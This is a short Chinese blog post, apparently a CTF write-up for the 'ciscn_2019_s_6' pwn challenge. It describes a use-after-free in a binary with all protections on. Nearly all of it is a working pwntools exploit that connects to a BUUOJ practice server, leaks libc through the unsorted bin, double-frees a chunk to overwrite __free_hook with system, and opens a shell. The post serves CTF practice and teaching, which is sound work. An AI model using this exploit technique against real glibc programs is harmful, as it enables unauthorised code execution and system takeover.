ciscn_2019_s_6(uaf)

wuchangjian2021-11-16 12:56:46编程学习

ciscn_2019_s_6:

保护全开
请添加图片描述

漏洞分析:

指针未清零,存在uaf
请添加图片描述

大致步骤:

利用unsortbin泄露libc,doublefree劫持free_hook为system

exp:

from pwn import *
local_file  = './ciscn_s_6'
local_libc  = './libc-2.27.so'
remote_libc = './libc-2.27.so'
select = 1
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('node4.buuoj.cn',27542 )
    libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data)
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims                         :r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
def debug(cmd=''):
     gdb.attach(r,cmd)
#---------------------
def add(size,name):
    sla('choice:','1')
    sla('Please input the size of compary\'s name\n',str(size))
    sa('please input name:\n',name)
    sa('please input compary call:\n','198')
def show(index):
    sla('choice:','2')
    sla('Please input the index:\n',str(index))
def delete(index):
    sla('choice:','3')
    sla('Please input the index:',str(index))
#---------------------
add(0x410,'aaaa')
add(0x30,'/bin/sh\x00')
delete(0)
show(0)
libc_base=uu64(ru('\x7f')[-6:])-96-0x10-libc.sym['__malloc_hook']
print 'libc_base='+str(hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']
#-------------------------
add(0x30,'aaaa')
delete(2)
delete(2)
add(0x30,p64(free_hook))
add(0x30,p64(0))
add(0x30,p64(system))
delete(1)
#debug()
r.interactive()

相关文章

浙江最新建筑施工塔式起重机(建筑特种作业)机考题库及建筑塔式起重机模拟试题

百分百题库提供特种工(塔式起重机)考试试题、特种工ÿ...

最小生成树-Prim算法案例及代码实现(C语言)

  #include<stdio.h> #include<stdli...

如何在IPFS里面上传下载文件

如何在IPFS里面上传下载文件

1 下载IPFS软件 下载地址:https://dist.ipfs.io...

[react] 在React中如何引入图片?哪种方式更好?

[react] 在React中如何引入图片?哪种方式更好?...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。